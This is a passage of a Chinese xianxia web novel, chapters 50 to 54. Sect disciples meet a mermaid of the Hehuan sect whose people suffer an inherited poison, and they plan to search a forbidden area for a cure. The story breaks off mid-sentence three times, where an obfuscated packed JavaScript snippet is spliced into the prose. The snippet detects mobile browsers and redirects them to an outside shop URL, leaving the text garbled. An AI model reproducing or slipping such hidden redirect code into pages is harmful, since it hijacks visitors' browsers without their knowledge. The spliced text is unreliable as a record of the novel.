她扒拉着栏杆往下看去,已经什么也瞧不见了,天上落下雨滴来,砸在海面上跳起水花,又滴在曾换月的头上,让她回过神来急忙往舱室跑去——糟了,师兄他们是住哪间屋子啊!! 先不说闯祸了的小师妹,再看石映心这边,她跳入海中之后,很快就瞧见了在发着莹莹的光的星月葫芦,虽说有浪花阻碍,但还是叫她成功拿到了。正打算往上游去,余光却瞥见前方有什么东西游了过来? 这会她已经憋了有一会的气,其实应该上去了,但是那个东西……不,那个人影……不,那个鱼影……奇怪,到底是什么啊? 俗话说好奇心害死猫,应该上岸的石映心却往好奇地往那个人影游去,海水太黑,不靠近些实在是瞧不清啊,可就在她将要看清那不人不鱼的东西是什么的时候,一个滔天巨浪打了过来—— 憋气的石映心:晕厥ing…… 好了再看船上吧,被惊慌失措的小师妹大喊大叫出来的明易和顾梦真,此时也来不及追究某人的罪过,听说石映心掉入了海里,连忙淋着雨来到甲板上往海面上看去——能看到什么就怪了! 51. 第 51 章 明易不再犹豫,御剑往海面上飞去,顾梦真和曾换月坐上大鹏展翅跟在后头,几人在雨中高声大喊:“映心!”“师姐!” 可惜每一声都淹没在雨声水花之中。 就在明易决定要入水找人的时候,曾换月忽然叫到:“是星月葫芦的光!” 他们寻光而去,就见那光越来越靠近水面,然后“哗啦”地冒出了两个人头——一个是他们找的人,一个是陌生的女人面孔。 “嗨……”女人抹了把脸,朝他们略有些尴尬地一笑,“你们谁啊?” 曾换月哭着说:“谢谢你救了我师姐!” 女人一愣:“啊?原来是你们认识的人,我还以为……”后面的声音就被水声淹没了。 明易把还在晕厥的石映心接过来,顾梦真让女人到他的大鹏展翅上,但她却摇摇头说:“不用,我游过去就好了。” “可是浪这么大……” 女人神秘一笑,忽地跃入水中,在几人惊讶的视线中飞快地往前游了一会,再冒出来的时候除了她的脑袋,还有一条灵活的……鱼尾巴。 曾换月目瞪口呆,神色奇异:“是……美人鱼……” 美人鱼是什么?她叫泉芷。 他们终于回到了船上,曾换月偷偷关注着泉芷,见她出了水后鱼尾果真就变成了人腿,低声惊叹:童话里说的都是真的! 泉芷跟着几人进了屋里,见明易把石映心放到床上,凑上去说:“她定是溺水了,你不方便,我来把她救醒!” 明易以为她们鲛人族是有什么好办法,点点头便让了位置。却见泉芷坐在床榻边上看了看石映心,然后撅起嘴巴,附身而去—— 明易:OO 他师弟师妹:OO 泉芷:*3* “你做什么!” 眼见两人要亲上了,明易紧忙把人隔开,脸色微愠:“这就是你的办法?” 泉芷一脸无辜:“是啊,吹气法嘛,你是男子不方便。” 明易:…… 她后边两个也吓死了,曾换月连忙说:“还是让大师兄用法术逼出师姐体内的水吧……” 话音未落,就听床上传来几声“咳咳”,石映心侧过脑袋吐了几口水出来,自己醒了。 曾换月这时候又补充道:“不过我师姐法力高强,就是放着不管也会醒来的。” 泉芷恍然大悟地笑了笑:“原来是这样,你师姐真厉害,她叫什么名字?” “……石映心。” “映心,你没事吧?”明易将她扶起来坐好,取出帕子让她擦嘴。 石映心咳咳两声:“我没事……星月葫芦……” “星月葫芦我收起来了。”顾梦真凑上来道,“师妹啊,哪有人会为了只葫芦跳海?你叫我们担心死了!” 曾换月也说:“是啊师姐,顶多我被骂几句、再欠些债嘛。” 石映心顺了顺气道:“可是师兄你不是说葫芦很贵吗?而且当时葫芦刚落下去,我以为很快就能取了上来,没想到看见了……” 话说到这里,她忽然发现屋里多了一个人:“你是谁?” 泉芷指着自己呵呵一笑:“我就是救你上岸的人!我叫泉芷。” 曾换月压着激动说道:“师姐,泉芷就是鲛人!” 鲛人?石映心便想起被海浪打晕前瞧见的那人不人鱼不鱼的身影,心说原来是她啊。不过,她很快又想起更重要的事,看向大师兄道:“大师兄,合欢宗,鲛人。” 明易轻轻叹了口气:“你先好好休息,明早再说。” 石映心点点头,几人便要往外边走,只有曾换月扑了过来:“师姐,今晚我好好照顾你……” “曾换月。”明易站在门口盯她,语气还算平和,“出来一下。” 曾换月朝她师姐露出哭戚戚的表情,但石映心有什么办法,只能安慰她:“没事,早死晚死都是死。” 曾换月:…… 说的真有道理,她还是乖乖出去挨骂吧,争取一个求饶从宽。 隔日早上。 几人聚在屋里说话。 原来泉芷便是合欢宗的弟子,前几日回家探亲,来不及赶上早上的起航,只好半路上船补票了。得知他们的任务之后,泉芷挑起眉道:“除了那段诗词我没读懂,合欢宗和鲛人,皆与我有关啊,也许我能帮上你们的忙。” 石映心指着桌上发光发热的因果牌道:“你定能帮上忙,因果牌好像就是要找你。” 没想到这次的任务对象锁定得这么快,大伙都默默打量起泉芷来。曾换月问:“泉姑娘,你真不知道这句诗是什么意思?” “不用这么客气地喊我,叫我泉芷就好。”泉芷摇摇头说,“真不知道,从没听过。” “也许我们是要帮你什么忙。”顾梦真问,“你近日可有什么烦恼?” “烦恼……”泉芷眨眨眼睛,看了看石映心,又看向明易,最后收回视线,点点头道,“那倒是有的,还是一个大烦恼,与我的性命攸关。” 明易觉得她的目光有些古怪,不过还是稳重道:“请说。” 泉芷开朗笑道:“我现下也回过味来了,看来是上天待我不薄,特地将你们送到我面前,定是要为我解燃眉之急的!” 曾换月好急地问:“什么燃眉之急?你说呀。” 泉芷将笑容对准了明易:“找个男人生孩子。” 四师兄妹:OO? 泉芷:“我看你们大师兄就很不错。” 四师兄妹:!??! 明易当下冷了脸:“泉姑娘,请不要戏弄我们。” 他师弟师妹们也觉得是如此,捂着嘴巴偷笑起来。 “谁戏弄你们了?”泉芷无辜道,“我说得都是真的,我们鲛人一族都是这样,天生身怀奇毒,若不在二十岁生辰之前诞下一子,便会毒发身亡……很惨的。” “啊?”曾换月听得眼睛都瞪大了,“那生了孩子之后呢?” 泉芷说:“生了孩子之后,毒素就到孩子身上喽,而且我们只生女儿;不过在这之后我们便会修为大减,至少退两个境界;而且每年都要和男人双·修一次缓解毒素……所以我们才聚集在南海,边上就是合欢宗,届时也方便。” 顾梦真啧啧道:“其中竟然有这样的缘由。” “这也太惨了吧?”曾换月皱起眉头,“那你们岂不是很不自由?这奇毒究竟是怎么回事?” 泉芷耸了耸肩,一副习以为常又很无奈的模样:“不知道呀,我们也在想办法。先辈们觉得此事和合欢宗有关,所以每个鲛人在十岁之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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曾换月眯起眼来:“嘻嘻,就是男女一起行·房·事……” “不是啦。”泉芷急忙打住她,“是有这种修法,但那是别派的,我们合欢宗早就摒弃此类房中术,在金丹之前是灵气双修,在金丹之后是内丹双修;也并不是定要一男一女,男男女女都行的。” 她说的这些,听得师姐妹二人一愣一愣的,曾换月惊奇道:“和话本中说得不一样。” 泉芷不意外她们的惊讶,哈哈笑起来:“世人对合欢双修是有许多见解,不过他们并不知双修之道的真谛,也不知肉身的奥妙!” 二人很好学:“那是如何呢?” 泉芷谆谆教导:“众人以为女阴男阳,其实不然,据我们合欢宗溯源考察,上古时期女为火、男为水,故应是女阳男阴。再以阴阳性命而论,真阴为性,为汞,真汞是离中之阴,指男子阴·精;真阳为命为铅,真铅是坎中之阳,指女性阳·精……如此说来,你们明白了吗?” 二人:*o* 泉芷见二人双眼涣散,哼哼一笑道:“说简单些,其实每个人体内皆有阴阳,不过有人阳盛、有人阴盛;我们合欢宗的修炼之道,便是找互补的二人共同修炼,以彼之阳补我之阴,以我之阴泄彼之阳,如此平衡体内真气丹田,便能阴阳两齐,化生不已。” “哦~”这么说她们就明白了嘛,“原来是这样,取长补短嘛,懂了懂了。” 泉芷满意微笑。 52. 第 52 章 曾换月又好奇问道:“那照这么说,你们合欢宗每个人都有个修炼搭子了?” “搭子?” “……额,就是一起吃、一起修炼的人!这是我老家那边的方言。” 泉芷说:“我明白了。有些弟子能找到合拍的搭子,那就常年相伴修炼,这自然是最好的;不过我们鲛人一族比较特殊,因生于海域,故体质比寻常人要阴盛阳衰些,很难找到合适的搭子,和我修炼的人一般都是……露水修缘。” 曾换月:“冒昧一问,你现在的境界是……” “金丹前期。” “和我一样啊……”曾换月惭愧起来,“你年纪轻轻、修炼这般不易都到了这境界,看来我确实是太懒惰了。” 泉芷苦笑一声:“我十岁入宗门,二十岁便要生子,时间紧迫,我是一刻也不敢放松;可如今我都十九了,还是没找到破解奇毒的方法,等到二十生辰,若我没生孩子,便是活到头了;若是生了,修为至少退两个境界,再修炼是难上加难……届时还有什么机会呢?” 说着说着三人都叹了气。 石映心看着她的眼睛,感到她心里迷茫的忧愁:“你们鲛人一族真不容易,天生比别人难。” “是啊。”泉芷还笑得出来,“不过我们所有的族人都未想过放弃,一代接一代,只要活着就会有希望。” “没错!”曾换月用力点头道,“别担心,你的希望来了!我师兄师姐都可厉害了!” 泉芷便看着她师姐,诚恳道:“若是你们真的能帮我族解开这传世谜题,就是叫我以命相报、以身相许也成。” 曾换月憋着笑打住她:“你这么说我大师兄要气死了,放心吧,不需要你们报恩,我们归壹派是名门正派,扶危济困就是天生使命,和奇毒也差不多了。” 三人哈哈哈笑开。 其他两个不知道这三人说了什么,反正再见时就见她们很要好。船靠岸之后,再飞一小段路便到了。合欢宗坐落在海边,距离人间不是太远,边上是一片洁净的沙滩,略有人迹。据泉芷所说,宗门内的每一间屋子都能瞧见海景,日光明媚。 虽说有泉芷领着,但别家弟子也不能随便进门,要等看门弟子用传音螺禀告了他们管事长老、说明了几人的来意之后,才能放她们进去;当然进去后还要先去拜访合欢宗副宗主,以交两仙门之好。 泉芷说副宗主是她师父,很好相处的。 石映心先前在摘星大会的时候远远见过副宗主安蔚然,这会再见,对方竟还记得她:“我记得你,似乎是看过你和梵音门弟子的剑赛,你的剑法了得。可惜我之后有事便回宗门了,没凑上秘境大比的热闹,不过想来你的表现应是不错的。” 石映心点点头:“多谢安宗主夸奖。” 曾换月见安蔚然气质婉约、说话温温柔柔的,便忍不住活泼起来:“我师姐可是秘境大比的魁首!” 安蔚然笑道:“泉芷能结交到几位如此优秀的道友也是一桩幸事。”客套过后,又问他们来合欢宗是有什么要事。 明易简略说了一番,安蔚然听罢,细眉微蹙道:“若是几位能帮泉芷的忙,自然是再好不过。只是鲛人奇毒一事,我们合欢宗也是几番调查,却一直找不到可行的办法……” 明易问:“贵宗门可有相关的文书记载?” “自是有的。”安蔚然朝泉芷点头道,“小芷,你去取来给几位过目。” 泉芷:“好。” 等她抱来了一大叠文书,安蔚然又道:“几位小友舟车劳顿,不如我先安排几间屋子给你们歇息,这些文书之后再看也不迟。”又说,“合欢宗与归壹派向来交好,你们在此便像在自家门派,不必拘束。” 人家这么客气周到,师兄妹四个自然连连答应谢过。 安宗主给她们安排住进了她门下几位亲传弟子的院落。一进院很宽敞,日头也很足,院中绿植小池布置精美,叫人看了心情就好。四人分别住进了东西厢房四间屋子。 石映心进了屋子,发现墙角摆了一盆白色的石头,正散发着白烟,问了泉芷才知道,原来这是吸水石,她们合欢宗近海,又常常落雨,空气之中潮湿沉重,每间屋子里要摆一盆吸水石才能清爽些。 泉芷贴心道:“等吸水石变蓝了,你喊我给你换。” “好。” 这时候曾换月从隔壁屋子来了,听到二人的对话:“怪不得我刚刚一路走过来,总觉得有些胸闷、喘不上气呢。”中秋过后,她们归壹派的山上都凉快了许多,没想到合欢宗还这么热,想想原来是到广东这边了,难怪难怪。 泉芷便问石映心:“你也觉得如此吗?外地人刚来这会有些不适应,不如我去找一些祛湿茶来……” 石映心摇摇头:“我不会。不过还是请你给我师妹喝些茶。” 泉芷答应下来,又笑道:“难道是法力高强的人适应能力更强些?” “也许?” 她们原先是这么以为的,直到看见面色红彤彤的明易,才打破了这猜想。就见他沉稳地站在那,表情是往常的,但脸色发红……不,是整个人都有些红,眉头微蹙,眼神有些涣散,双唇微抿。 “大师兄?”曾换月乍一看以为她大师兄发烧了,“你怎么红成这样?” 明易微微摇头:“我没事……咳咳……” 他师弟师妹:OO 顾梦真抿着唇忍着一些好笑:“我才去屋里放个行囊的功夫,一出来就看见大师兄变成熟虾了。” 熟虾? 石映心:噗嗤。 话说熟虾是挺好吃的…… 泉芷倒是很平常道:“他是水土不服导致内力真气不平稳,休息两晚、适应一下便好了。我这里有些丹药,你要日日服用。” 明易万万没想到自己会这样,只好接过丹药道谢:“……多谢,劳烦了。” 她们接下来本是打算由泉芷带着去参观一下合欢宗,毕竟来都来了;可明易都这样了,师弟师妹们便让他在屋里好好休息,有空没空的时候看看那一大堆文书就行。 明易哪里不知道他们关心是真,不想看文书也是真,无奈还是应下了,离开之前正要叮嘱师弟师妹两句,却见那边走过来一人。 几人望去,泉芷先叫了声:“方翔师兄。” 方翔抱着胸走来,眼神在外人身上打量,似是有些感兴趣,最后停在明易身上:“师妹,这几位就是归壹派来的客人?这位貌美道友为何 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石道友:“你既打不过我,又打不过我师兄,我与师兄谁更厉害对你来说不重要。” 方翔:。 比起她师兄师妹咬着唇憋起笑,泉芷就肆意许多,见方翔吃瘪便哈哈大笑起来,打趣道:“师兄,映心说得不错,你有这四处打听的功夫,不如多多修炼吧!” 方翔被呛被调侃倒也没有不高兴,和气道:“小芷,你这么说我就不能苟同了,要不是我好八卦、喜打听,如何帮你找出破解奇毒的线索呢?” 泉芷闻言眼前一亮:“师兄你有线索?” “倒也不是确切的线索,不过是有些可能。”方翔保守道,“好了,站在这里说话算什么待客之道?不如在下请几位小友去我们合欢宗的膳堂用膳,我们一边吃一边说?” 几个贪吃的立刻点头说好啊好啊。 俗话说一方水土养一方人,一家膳堂有一家口味,合欢宗膳堂里皆是几人没见过的美味,海鲜、牛肉、烧鹅……看得她们是目不暇接、口水直吞,尽显馋相。 方翔好客地点了一桌菜,待几人狼吞虎咽起来,他就在边上说线索给他们下饭:“小芷,你还记得关于你们鲛人族奇毒一事,最可靠的来源说法吗?” 泉芷点头:“自然记得,那是很久很久以前,大概有一千年那么遥远……” 与此同时,明易翻开《鲛人纪事》,扉页写着“有愧人无名氏”,大概是写这本纪事的人?再翻一页,这人开始说故事了: 很久很久以前,大概有一千年那么遥远…… 世上第一只鲛人是如何来的?没人知晓,所以张三在岸边遇见那只人身鱼尾的“怪物”时,惊得瘫倒在地,话都不会说了。 这只鲛人对他说:“借你的剑一用。” 张三见她容貌靓丽无害,取下腰间的佩剑扔给她。 鲛人拿过剑,将剑尖刺入自己的下半身,自上而下劈开了鱼尾,血液浸透沙子,鱼尾变成了人腿。 张三瞠目结舌:“你、你不疼吗?” 鲛人慢慢从地上爬起来:“我不怕疼。” 53. 第 53 章 二人交谈过后,鲛人得知张三要去剑宗求学,便说她有阴阳双修之法,问他愿不愿意学,张三心想不学白不学,那就学学呗,于是拜鲛人为师,开始修炼鲛人族的阴阳双修。这便是合欢宗最早的起源之法了。 日月如梭,张三对鲛人渐生情愫,没多久鲛人便诞下一女……隔年又诞下一女,不过是李四的;隔年的隔年又又诞下一女,这次是陈五的;隔年的隔年的隔年又又又诞下一女,是孙六的…… 没错,这些四五六七八也是鲛人后来收的弟子,当然也有单纯爱慕鲛人的人。 张三一忍再忍、忍无可忍,质问鲛人道:“你根本不是真的爱我,也不是真的爱四五六,你只是为了生孩子!” 鲛人被他骂得莫名,但很坦荡道:“我鲛人族血脉单薄,总共没几只,我要不多生点,什么时候天灾人祸全死光了怎么办?” 张三:…… 他是搞不明白,凡人女子生个孩子是很耗元气的,一夜之间老了好几岁不说,又会后怕生子之痛苦……哦,鲛人说过她不怕疼来着,可难道疼是不怕就真的能不在意了?而且鲛人只生女子,那些小鲛人也是个个精力旺盛、健康活泼…… 张三越发觉得自己陷入了天大的阴谋之中。 他感到可怕,又不能离开鲛人的法门,毕竟他已靠此法修炼了几年,如何能前功尽弃呢?他自身又不知如何精进…… 这日他得到一本禁书,上头写了一种奇毒,是说被下了此毒的女人,只能和此生第一个男人交·合,若是与其他男人便会身受重创、元气大伤;但不和男人交·合却不行,否则体内毒素积攒,就会毒发暴毙身亡。据说原先是用来拘束那些红杏出墙的女人的。 张三便想这毒倒是适合鲛人,一能削弱她的法力,二能让她依附于他……毕竟他是她的第一个男人……是吧? 不管如何,他用了十年时间研制出了此毒,只是禁书上的许多记载有些糊涂,有几味草药他从未听过,又怕原先的毒素不够毒倒身强体壮、法力高强的鲛人,于是加大了一些剂量…… 甚至他未雨绸缪地想,鲛人如此,她几个女儿定也是如此,她们这么相像,修炼也是同样天资过人……日后定也是这样三心二意、拈花惹草的女人!没错,他要防患未然、以绝后患! 于是干脆一不做二不休,把鲛人几只小苗全给毒了。 中毒后的鲛人自然要报仇,可门下弟子纷纷求她放过张三一马,说是此毒不致死,他无意杀她,只是一时想不开的妒忌罢了;张三平日对她也算不错,又是大女儿的亲爹,还望她念在旧情的份上,饶他一命。 鲛人心想就这么让他死了倒是便宜了他,不如叫他受尽折磨,于是将他关了起来,让他生不如死。 可多大的惩罚也解不了奇毒,鲛人找遍八大洲禁书,依旧无法可解,只能多多少少改变一些毒性:比如并不是只能和第一个男人交·合,二十岁之前不会毒发,但要诞子移毒等…… 鲛人因此毒失去大半修为,将宗门托付给信任的弟子,余生在找解毒之法中渡过,却不得而死。宗门几经波折、摧毁、重组,最后发展成了如今的合欢宗。念开山祖师的传法恩德,合欢宗百年来都与南海鲛人族交好…… 故事到此结束,血脉却依旧在传承,奇毒伴着血缘随时间流淌,从遥远的过去来到了现在。 没人清楚这几百年鲛人族经历了什么,但无数的痛苦和挣扎,最后都变成了泉芷的勇敢和坚持。 只是如何让这悲剧谢幕呢?总不可能像明易看完故事、把书合上这么简单。 “居然是这么回事……”顾梦真摇头叹息道,“那个下毒的张三,若是知道后果如此惨重,他还会这么做吗?” “怎么不会?”曾换月撇嘴道,“他可是研制了十年的毒,这十年里但凡他有一次良心发现,都不会酿成这样的悲剧!” 顾梦真想想也是:“太可恶了!啧啧啧。” 石映心问:“张三最后如何了?得到了什么惩罚?” “这就不清楚了。”方翔摊手无奈,“众说纷纭,有说其实早就被先祖杀了的,也有说被吊起来卸胳膊卸腿虐待至死的……总之,在那之后就没有人再见过他。” “他怎么样都是活该!”泉芷咬牙切齿道,“恩将仇报的贱人!竟因嫉妒之心陷害他人,甚至连无辜的孩子都不放过!致使我们鲛人一族千百年深受其毒……我只担心他死得不够惨!” 她说得好恨,听得桌上几人都有些怔然。还是泉芷自己回过神来,朝她们惨惨一笑:“唉,其实我不是那么残忍的人。” 大家说当然当然,都是那个张三的错。 泉芷又问:“师兄,所以你说的线索是什么?” 方翔左右溜了溜眼珠子,偷感很足地附身下来,用眼神示意招来了几个脑袋后他压低声音道:“我也是近日才打听到,原来我们合欢宗有一处百年禁地!据说几百年以来,从来没有人进去过……不,有人进去过,但出不来了!所以一直以来长老们都秘密守护着,从不告诉他人。” 曾换月小小声:“哇,那你是怎么知道的?” 方翔道:“这一辈的守禁地的人是我们宗主,他平日脾气有些焦躁,喝了酒后就常常不知所云,宗主的亲传弟子和我关系不错,我是从她那听来的。不过她说这不一定是真的,也许是宗主的胡言乱语也有可能。” “酒后吐真言啊!”顾梦真肯定道,“我觉得很有可信度。” “是吧?”方翔挑眉赞同,“你们回想一下,故事中的张三是不是得到了一本禁(重音)书才研制出史上未闻的奇毒?那禁书和这个上百年的禁(重音)地,时间上好似也能对上?” 泉芷听明白了:“师兄你的意思是,张三是从这个禁地中找到了这本禁书,所以解毒之法很可能就在这个禁地之中?” 方翔打了个响指:“聪明!我就是这个意思。你们说是不是有那么一丝可能?” 曾换月摸摸下巴:“这么听起来是真的有可能,起码值得一试。” “不管如何我都要试一试。”泉芷吐出一口气,毅然道,“我们族人自小便下定决心,要尽己所能想尽所有办法、找遍世上任何角落,只要能找出解毒之法,就是擅闯禁地、叫我受宗门极刑也无所谓。” “诶诶诶,”她提到这个,方翔忽然冒了冷汗,“小芷师妹,到时候你可别把我供出来啊!” 泉芷拍拍胸脯保证道:“放心吧师兄,我感谢你还来不及,怎么可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15889091|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能恩将仇报?” 方翔这才松了口气。 既然已经有了方向,顾梦真便有些迫不及待了:“那禁地在哪?” 方翔:“不知道啊。” 泉芷:“宗主肯定不会同我们说。” “我有办法。” 谁有办法?几人诧异望去,就见石映心朝她们可靠一笑:“只要让我见到你们宗主,我自有办法。” 她这话一出,泉芷和方翔还不明白怎么回事,但她亲师兄妹已经恍然大悟地瞪眼喔嘴了:是了,小师妹能“读心”啊!这事好办! 方翔说宗主出门办事了,可能要晚上才回来,泉芷便打算带几人先在合欢宗里四处逛逛,正好吃撑了消食。 曾换月越看合欢宗,越觉得有些梦幻的童话风,海边潮,用木头不方便,她们宗门多是用白色的岩石建造而成,白的殿宇蓝的大海金的沙滩晴的天空,真是一个让人心旷神怡的好地方。 几人走到外门演武场,瞧见有几排弟子在抚琴,阵阵音律飘在空中化作灵气,笼罩在演武场上空,在日光的照耀下散出彩色的光芒。 泉芷介绍道:“器乐灵音可陶冶情操、调整体内真气,从而增进修炼。我宗弟子皆以器乐为武器,可攻可守。许多弟子刚入门时练习的乐器还是从你们归壹派统一购入来的。” 顾梦真点点头道:“是,我前几年也帮忙炼制过几批,一些笛子玉筝什么的。” 他说到这,泉芷变出一只透蓝的玉笛来,在手上转了转,放在嘴巴一吹,笛声悠悠,几人顿觉如清风拂面,心情都畅快了许多。 顾梦真感叹:“确实确实,确实陶冶情操!” 见她们脸上都很放松,泉芷收起笛子笑道:“我们这些不过是小打小闹,借水行舟;据说先祖的歌声便是武器,既能摄人心魄,又能让人肝胆俱裂。” 这里的肝胆俱裂应该就不是形容词了。 曾换月又想起西方童话故事:“你们鲛人一族的歌声都有这样的本领?” 泉芷有些失落:“或许几百年前有吧,不过奇毒削弱了我们的种族能力,篡改了血脉。若没有这毒,不知现在鲛人一族会是怎样的光景呢?” “应是很厉害的。”石映心想了想,“毕竟你们先祖能用剑把鱼尾劈开,想想就疼。” “是条狠鱼……”曾换月竖起大拇指,“额,狠人?” 泉芷转悲为喜笑道:“是人是鱼都行。” 过了会又逛到护门大阵,有几个弟子在边上看守,泉芷说:“护门大阵不止能抵御外敌,更多时候起到防洪作用,有我们合欢宗在岸边镇守,附近的庄稼田地还有城池便不会受害。” 大家点点头,说好实用啊。 兜兜转转,她们来到合欢宗正门,有一座莹白的石雕立在入门处,走近一瞧,正是人鱼的雕像,鱼尾立起,身姿挺拔,一手高举海螺;她长发飘逸,五官只是很浅的几条线,双目注视着天空,仿佛在遥望着什么。 见泉芷给雕像行礼,几人礼貌效仿。 “这便是先祖的雕像。”她介绍道,“先祖拿着传音螺,她说这是大海赐予的礼物。生生之谓易,海螺是如此,我们也是如此。” 大家点点头,说好有道理啊。 54. 第 54 章 逛得差不多了,几人便说先回去休息,等晚上宗主回来了再去套话;几步走到前边的一处拐角,一转弯忽然撞见两个相拥而吻的弟子,首当其冲的石映心愣在了原地,曾换月发出一声“我靠”,顾梦真赶紧把两人拉回来了。 “咳咳!”同门弟子被撞见这档子事,泉芷也是无语,朗声道,“要亲热就找个隐蔽的地方,堵在路中间算什么意思?” 其中一个男弟子走了出来,歉疚一笑:“不好意思啊几位道友,让你们见笑了。情难自控嘛,理解一下哈。马上走马上走!” 说着摆摆手,从里头拉出另一个男弟子,二人牵着手贴着身子,快步离开了。 曾换月都看傻了:“这、这……” 泉芷其实习以为常,不过还是很贴心地给几人解释一番:“实不相瞒,我宗合欢双修法虽说已摒弃了房中术,但一同修炼的二人很容易因为真气交融、丹田互通而产生情愫,所以同门之中谈情说爱的也不少。” “不……”顾梦真也有些没回过神,“可是刚刚那两个……好像都是……” 石映心缓冲中:“男人和男人谈情说爱?” 泉芷理解他们的意思,开明一笑:“对啊,毕竟我们宗男男女女男女都可一起修炼嘛,所以男男女女男女谈情说爱都很正常。” “不过……”说到这里她摸摸下巴,似也有些疑惑,“总觉得近几年好像同性双修的更多了呢?倒也没仔细统计过。” 三人沉默着对了个视线,这会是没说什么。 等奔到明易屋里,才叽叽喳喳地大惊小怪起来。曾换月哇哇哇:“刚刚真是吓我一跳,那两个男弟子抱在一起这样亲那样亲,师姐都看呆了!” 确实看呆的石映心摇摇头:“从没见过。” 顾梦真抱着胳膊搓鸡皮疙瘩:“虽说这是人家宗门的特色吧,但不知怎么我看得浑身难受……嗐。” 明易从书里抬起头来,神色有些高深莫测:“近年外界隐约有些传闻,说是合欢宗风水出了问题才导致同性双修日益剧增,他们的宗主和长老都挺忧心的。我看了一些书册,合欢宗第一次记载同性双修仅是在五十年前。” 石映心这时候问:“同性双修是不正常的吗?为何风水出问题了才会这样?” 几人:额。 “不是不正常,就是比较少见啦。”曾换月打了个哈哈,这才发现原来师姐刚刚只是看人家接吻看呆了,和性别没关系,“你看嘛师姐,话本里也说得很少,但都是……正常的,嗯。” 石映心受教:“明白了,不过谈情说爱就会和他们一样情难自控,随处就想接吻吗?” 曾换月给二师兄使眼色:“这个、这个嘛……” 顾梦真捏捏大师兄肩膀:“其实,其实吧……” 明易把书合上,冷漠道:“就是谈情说爱也不该日日想这些情欲之事,更不能随心所欲、毫无自控之力。有这些亲亲我我的心思,还不如用在修炼上。” “欸欸,这我不赞同了。”曾换月举手否决,“有喜欢的人想亲亲我我很正常啊,不是所有人都和大师兄你一样天天就想着修炼的。啊呀,这些东西等师姐你有喜欢的人之后就知道了。” 顾梦真哈哈笑了一声:“映心也会有喜欢的人吗?她没有这根筋啦。” 石映心:“想亲一个人就是喜欢他吗?” “差不多吧?但你可不能随便亲,要经过他同意才行。”母单师妹给她师姐传授心得,“不然要被扇巴掌。” 石映心了然点头:“我明白,话本里都是这么写的。” 曾换月点头:“对对对,看话本就是要学习的。” ……都是些什么乱七八糟的,明易忍无可忍道:“你们不是来说线索的?” 那几个连忙说是是是,七嘴八舌地把之前听到的咕噜咕噜倒出来。 明易听罢,却不似他师弟师妹们那么轻松,眉头是越皱越紧:“方翔说的禁地是有可能藏有解毒之法,可我们来合欢宗办归壹派的事,本就有些冒昧,更别提擅闯人家禁地……届时就不只是我们几人与合欢宗的恩怨那么简单。” 他一盆冷水浇下来,三人都有些蔫了。石映心有些不解:“看得出来合欢宗的弟子对鲛人先祖都有一些崇拜,几百年过去了,正门还立着她雕像;此事也是为了帮助鲛人一族……他们难道会不答应吗?” 曾换月叹气摇头,老成道:“师姐,你把人性想得太简单啦。尊敬一个人也不是那么耗费精力的事啊,有时甚至只是为了展示自己尊师重道的好品行罢了。再说,这位鲛人先祖都是一千多年前的宗主了,如今合欢宗也不是鲛人掌权……我看难哦。” 顾梦真点头赞同:“换月分析得不错,而且现在的合欢宗好似也没有几个鲛人……再加上她们天生奇毒,二十就要生子,生了就会修为大减……唉,指不定有些弟子根本不把鲛人看在眼里呢?” 石映心听了师兄师妹的话,微微想了想:“原来只有泉芷是真心的。” “我也是真心的!”曾换月举手。 顾梦真:“那我也算是吧……就算不是这也是我的任务啊!” 三人看向大师兄。 大师兄顶着他们的炯炯目光道:“我翻阅了合欢宗书册之后,总觉得这次任务有些不同寻常,还是要小心为上,待我传音回禀师父师公……” “不行啊大师兄。”曾换月连连摆手阻止他,“若是师父他们不答应,那我们就不帮泉芷了吗?难道真的要眼睁睁地错过这次线索,看她们鲛人族继续苦苦挣扎?” 明易:“此事还需从长计议……” 顾梦真撇嘴:“可是泉芷马上就要二十了,而且我从没听过因果牌出错任务的事。” 明易:“禁地事关重大……” 石映心有好主意:“如果真的不行的话,那就先让大师兄和泉芷生孩子,然后再慢慢想办法……” 明易:。 曾换月差点要笑出来,连忙咽下去,绷住脸道:“噢噢是哦还有这个好办法,有道理师姐说得太有道理了。大师兄的孩子肯定很聪明,指不定能解决我们没解决的难题呢?呵呵呵呵……” 明易:。。 顾梦真甚至已经开始幻想:“如果大师兄和泉芷有孩子的话,那是要养在合欢宗还是归壹派呢?大师兄的孩子叫我什么来着?师叔?哈哈哈哈二十多岁正是当师叔的好年纪!” 明易:。。。 “……都给我出去。” 麻溜地滚了。 入夜之后,屋里的吸水石变成了透蓝,石映心蹲在边上打量了一会,正要拿起一块玩玩就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15895001|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听见了敲门声:“谁?” “是我,泉芷。” 打开门,泉芷抱着一盆莹白的吸水石朝她弯眼笑:“我估摸着你屋里的吸水石快满了,来给你换一盆。” 石映心说谢谢,侧开身子让她进屋。换完吸水石之后泉芷问:“我能在你屋里坐会吗?” 石映心说可以,请坐吧。 二人坐下后,泉芷给她倒了杯茶,试探地问:“映心……禁地的事情,你们师兄妹讨论得如何了?” 石映心实话实说。 